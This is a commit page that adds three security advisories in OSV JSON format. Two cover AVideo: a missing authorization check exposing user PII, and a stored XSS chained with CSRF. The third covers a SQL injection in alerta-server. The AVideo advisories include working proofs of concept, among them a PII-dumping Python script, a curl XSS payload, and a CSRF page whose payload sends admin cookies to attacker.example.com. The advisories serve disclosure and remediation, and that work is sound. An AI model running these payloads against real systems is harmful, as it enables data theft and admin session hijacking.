Skip to content

Commit c138e9b

Browse files
1 parent ab46352 commit c138e9b

3 files changed

Lines changed: 200 additions & 0 deletions

File tree

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-77jp-mgcw-rfmr",
4+
"modified": "2026-03-31T23:21:50Z",
5+
"published": "2026-03-31T23:21:50Z",
6+
"aliases": [
7+
"CVE-2026-34395"
8+
],
9+
"summary": "AVideo vulnerable to Mass User PII Disclosure via Missing Authorization in YPTWallet users.json.php",
10+
"details": "**Severity:** High\n**CWE:** CWE-862 (Missing Authorization)\n\n### Summary\n\nThe `plugin/YPTWallet/view/users.json.php` endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks `User::isLogged()` but does not check `User::isAdmin()`, so any registered user can dump the full user database.\n\n### Details\n\nThe authorization check at `plugin/YPTWallet/view/users.json.php:8`:\n\n```php\nif (!User::isLogged()) {\n die(\"Is not logged\");\n}\n```\n\nThe query in `YPTWallet::getAllUsers()` selects all columns from both tables:\n\n```php\n$sql = \"SELECT w.*, u.*, u.id as user_id, IFNULL(balance, 0) as balance FROM users u \"\n . \" LEFT JOIN wallet w ON u.id = w.users_id WHERE 1=1 \";\n```\n\nThe `cleanUpRowFromDatabase()` function strips fields matching `/pass/i` (removes `password` and `recoverPass`), but all other PII fields remain: `email`, `phone`, `address`, `zip_code`, `country`, `region`, `city`, `first_name`, `last_name`, `birth_date`, `isAdmin`, `analyticsCode`, `donationLink`, and `balance`.\n\nOther endpoints in the same directory (`saveBalance.php`, `adminManageWallets.php`, `pendingRequests.json.php`) all check `User::isAdmin()`.\n\n### Proof of Concept\n\n```python\nimport requests\n\nTARGET = \"https://your-avideo-instance.com\"\n\n# Step 1: Login as any regular (non-admin) user\nsession = requests.Session()\nsession.post(f\"{TARGET}/objects/login.json.php\", data={\n \"user\": \"regular_user\",\n \"pass\": \"regular_password\"\n})\n\n# Step 2: Request the users endpoint\nresp = session.post(f\"{TARGET}/plugin/YPTWallet/view/users.json.php\", data={\n \"current\": \"1\",\n \"rowCount\": \"10\"\n})\n\ndata = resp.json()\nprint(f\"Total users: {data['total']}\")\nfor u in data[\"rows\"]:\n print(f\" User: {u['user']}, Email: {u['email']}, Admin: {u['isAdmin']}, Balance: {u['balance']}\")\n```\n\nThe response contains every user on the platform, including admin accounts, with fields: `email`, `phone`, `address`, `zip_code`, `country`, `region`, `city`, `first_name`, `last_name`, `birth_date`, `isAdmin`, `balance`, `analyticsCode`, `donationLink`.\n\n### Impact\n\nAny registered user can extract the complete user database with PII (emails, phone numbers, addresses, birth dates, real names) and financial data (wallet balances). This is a mass data breach that may trigger notification requirements under GDPR or CCPA.\n\n### Recommended Fix\n\nChange `User::isLogged()` to `User::isAdmin()` at `plugin/YPTWallet/view/users.json.php:8`:\n\n```php\n// plugin/YPTWallet/view/users.json.php:8\n// Before:\nif (!User::isLogged()) {\n die(\"Is not logged\");\n}\n\n// After:\nif (!User::isAdmin()) {\n die(\"Is not logged\");\n}\n```\n\nThis matches the authorization pattern already used by the other endpoints in the same directory (`saveBalance.php`, `adminManageWallets.php`, `pendingRequests.json.php`).\n\n---\n\n*Found by [aisafe.io](https://aisafe.io)*",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "wwbn/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-77jp-mgcw-rfmr"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34395"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/WWBN/AVideo/commit/db37b4e9d9e7c733e5d4c5881e10b2b9d2670983"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/WWBN/AVideo"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-862"
59+
],
60+
"severity": "MODERATE",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-31T23:21:50Z",
63+
"nvd_published_at": "2026-03-31T21:16:30Z"
64+
}
65+
}
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-8prr-286p-4w7j",
4+
"modified": "2026-03-31T23:23:21Z",
5+
"published": "2026-03-31T23:23:21Z",
6+
"aliases": [
7+
"CVE-2026-34400"
8+
],
9+
"summary": "alerta-server has potential SQL Injection vulnerability in Query String Syntax (q=) API",
10+
"details": "### Impact\nThe Query string search API (q=) was vulnerable to SQL injection via the Postgres query parser, which built WHERE clauses by interpolating user-supplied search terms directly into SQL strings via f-strings.\n\n### Patches\nFixed in v9.1.0. The Postgres query parser now uses parameterized queries with %(name)s placeholders passed to psycopg2's cursor.execute(), preventing SQL injection through the ?q= parameter. The MongoDB backend was not affected.\n\n### Workarounds\nUpgrade to v9.1.0 or later. If unable to upgrade, deploy a proxy in front of the Alerta API to sanitize the q= parameter.\n\n### Resources\nhttps://github.com/alerta/alerta/pull/712/files\nhttps://owasp.org/www-community/attacks/SQL_Injection",
11+
"severity": [],
12+
"affected": [
13+
{
14+
"package": {
15+
"ecosystem": "PyPI",
16+
"name": "alerta-server"
17+
},
18+
"ranges": [
19+
{
20+
"type": "ECOSYSTEM",
21+
"events": [
22+
{
23+
"introduced": "0"
24+
},
25+
{
26+
"fixed": "9.1.0"
27+
}
28+
]
29+
}
30+
]
31+
}
32+
],
33+
"references": [
34+
{
35+
"type": "WEB",
36+
"url": "https://github.com/alerta/alerta/security/advisories/GHSA-8prr-286p-4w7j"
37+
},
38+
{
39+
"type": "WEB",
40+
"url": "https://github.com/alerta/alerta/pull/2040"
41+
},
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/alerta/alerta/pull/712"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/alerta/alerta/commit/aeba85a37a09e5769a7a2da56481aa979ff99a00"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/alerta/alerta/commit/fdd52cd1abad8d02d1dfb8ecdcdbb43b6af3b883"
53+
},
54+
{
55+
"type": "PACKAGE",
56+
"url": "https://github.com/alerta/alerta"
57+
},
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/alerta/alerta/releases/tag/v9.1.0"
61+
}
62+
],
63+
"database_specific": {
64+
"cwe_ids": [],
65+
"severity": "HIGH",
66+
"github_reviewed": true,
67+
"github_reviewed_at": "2026-03-31T23:23:21Z",
68+
"nvd_published_at": null
69+
}
70+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-v4h7-3x43-qqw4",
4+
"modified": "2026-03-31T23:22:21Z",
5+
"published": "2026-03-31T23:22:21Z",
6+
"aliases": [
7+
"CVE-2026-34396"
8+
],
9+
"summary": "AVideo has Stored XSS via Unescaped Plugin Configuration Values in Admin Panel",
10+
"details": "## Summary\n\nThe AVideo admin panel renders plugin configuration values in HTML forms without applying `htmlspecialchars()` or any other output encoding. The `jsonToFormElements()` function in `admin/functions.php` directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on `admin/save.json.php`) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page.\n\nThis vulnerability chains with AVI-046 (CSRF on `save.json.php`) to enable a full cross-origin stored XSS attack against the admin panel without requiring any prior authentication.\n\n## Details\n\nThe `jsonToFormElements()` function in `admin/functions.php` contains multiple unsafe output points where configuration values are rendered without escaping:\n\n**Textarea injection (line 47):**\n```php\n// admin/functions.php:47\n$html .= \"<textarea class='form-control' name='{$name}' id='{$id}'>{$valueJson->value}</textarea>\";\n```\nThe `$valueJson->value` is placed directly between textarea tags without encoding.\n\n**Select option injection (line 55):**\n```php\n// admin/functions.php:55\n$html .= \"<option value='{$key}' {$select}>{$value}</option>\";\n```\nBoth `$key` and `$value` are inserted without encoding, allowing attribute breakout and HTML injection.\n\n**Input type and value injection (lines 62-63):**\n```php\n// admin/functions.php:62-63\n$html .= \"<input class='form-control' type='{$valueJson->type}' value='{$valueJson->value}' name='{$name}' id='{$id}'/>\";\n```\nBoth `type` and `value` attributes are unescaped, enabling attribute injection.\n\n**Fallback input injection (line 75):**\n```php\n// admin/functions.php:75\n$html .= \"<input class='form-control' type='text' value='{$valueJson}' name='{$name}' id='{$id}'/>\";\n```\nThe raw `$valueJson` string is placed into the `value` attribute without encoding.\n\nConfiguration values are saved via `admin/save.json.php`, which lacks CSRF token validation.\n\n## Proof of Concept\n\n**Method 1: Direct exploitation (requires admin session)**\n\n```bash\n# Store XSS payload in a plugin configuration value\n# The endpoint uses pluginName and direct field names as parameters\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n -X POST \"https://your-avideo-instance.com/admin/save.json.php\" \\\n -d \"pluginName=PlayerSkins&skin=x' onfocus=alert(document.cookie) autofocus='\"\n```\n\nWhen any admin visits the plugin configuration page, the payload fires.\n\n**Method 2: Cross-origin chain with CSRF (no authentication required)**\n\nCreate the following HTML page and trick an admin into visiting it:\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>AVI-033 + AVI-046 Chain PoC</title></head>\n<body>\n<h1>Loading...</h1>\n<form id=\"xss\" method=\"POST\"\n action=\"https://your-avideo-instance.com/admin/save.json.php\">\n <input type=\"hidden\" name=\"name\" value=\"Gallery\" />\n <input type=\"hidden\" name=\"parameter\" value=\"description\" />\n <input type=\"hidden\" name=\"value\"\n value=\"' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus='\" />\n</form>\n<script>document.getElementById('xss').submit();</script>\n</body>\n</html>\n```\n\nThe payload breaks out of the `value` attribute in the rendered input element:\n\n```html\n<!-- Rendered HTML in admin panel -->\n<input class='form-control' type='text'\n value='' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus=''\n name='description' id='description'/>\n```\n\n## Impact\n\nAn attacker can achieve stored cross-site scripting in the AVideo admin panel. When chained with the CSRF vulnerability on `save.json.php`, this requires zero authentication - the attacker only needs to lure an admin to a malicious page. Once the XSS fires in the admin context, the attacker can:\n\n- Steal admin session cookies and CSRF tokens\n- Create new admin accounts\n- Modify site configuration (enable file uploads, disable security features)\n- Inject persistent JavaScript into public-facing pages via site-wide settings\n- Pivot to server-side code execution via plugin upload functionality\n\n- **CWE-79**: Improper Neutralization of Input During Web Page Generation (Stored XSS)\n- **Severity**: High\n\n## Recommended Fix\n\nApply `htmlspecialchars($value, ENT_QUOTES, 'UTF-8')` to all user-controlled values rendered in `admin/functions.php`:\n\n```php\n// admin/functions.php:47 - textarea content\n$html .= \"<textarea class='form-control' name='{$name}' id='{$id}'>\" . htmlspecialchars($valueJson->value, ENT_QUOTES, 'UTF-8') . \"</textarea>\";\n\n// admin/functions.php:55 - select option\n$html .= \"<option value='\" . htmlspecialchars($key, ENT_QUOTES, 'UTF-8') . \"' {$select}>\" . htmlspecialchars($value, ENT_QUOTES, 'UTF-8') . \"</option>\";\n\n// admin/functions.php:62-63 - input type and value\n$html .= \"<input class='form-control' type='\" . htmlspecialchars($valueJson->type, ENT_QUOTES, 'UTF-8') . \"' value='\" . htmlspecialchars($valueJson->value, ENT_QUOTES, 'UTF-8') . \"' name='{$name}' id='{$id}'/>\";\n\n// admin/functions.php:75 - fallback input\n$html .= \"<input class='form-control' type='text' value='\" . htmlspecialchars($valueJson, ENT_QUOTES, 'UTF-8') . \"' name='{$name}' id='{$id}'/>\";\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "wwbn/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-v4h7-3x43-qqw4"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34396"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/WWBN/AVideo/commit/a93ba83eb9f3aa47cd16af0a0dc13da3bf8ac4d1"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/WWBN/AVideo"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-79"
59+
],
60+
"severity": "MODERATE",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-31T23:22:21Z",
63+
"nvd_published_at": "2026-03-31T21:16:30Z"
64+
}
65+
}

0 commit comments

Comments
 (0)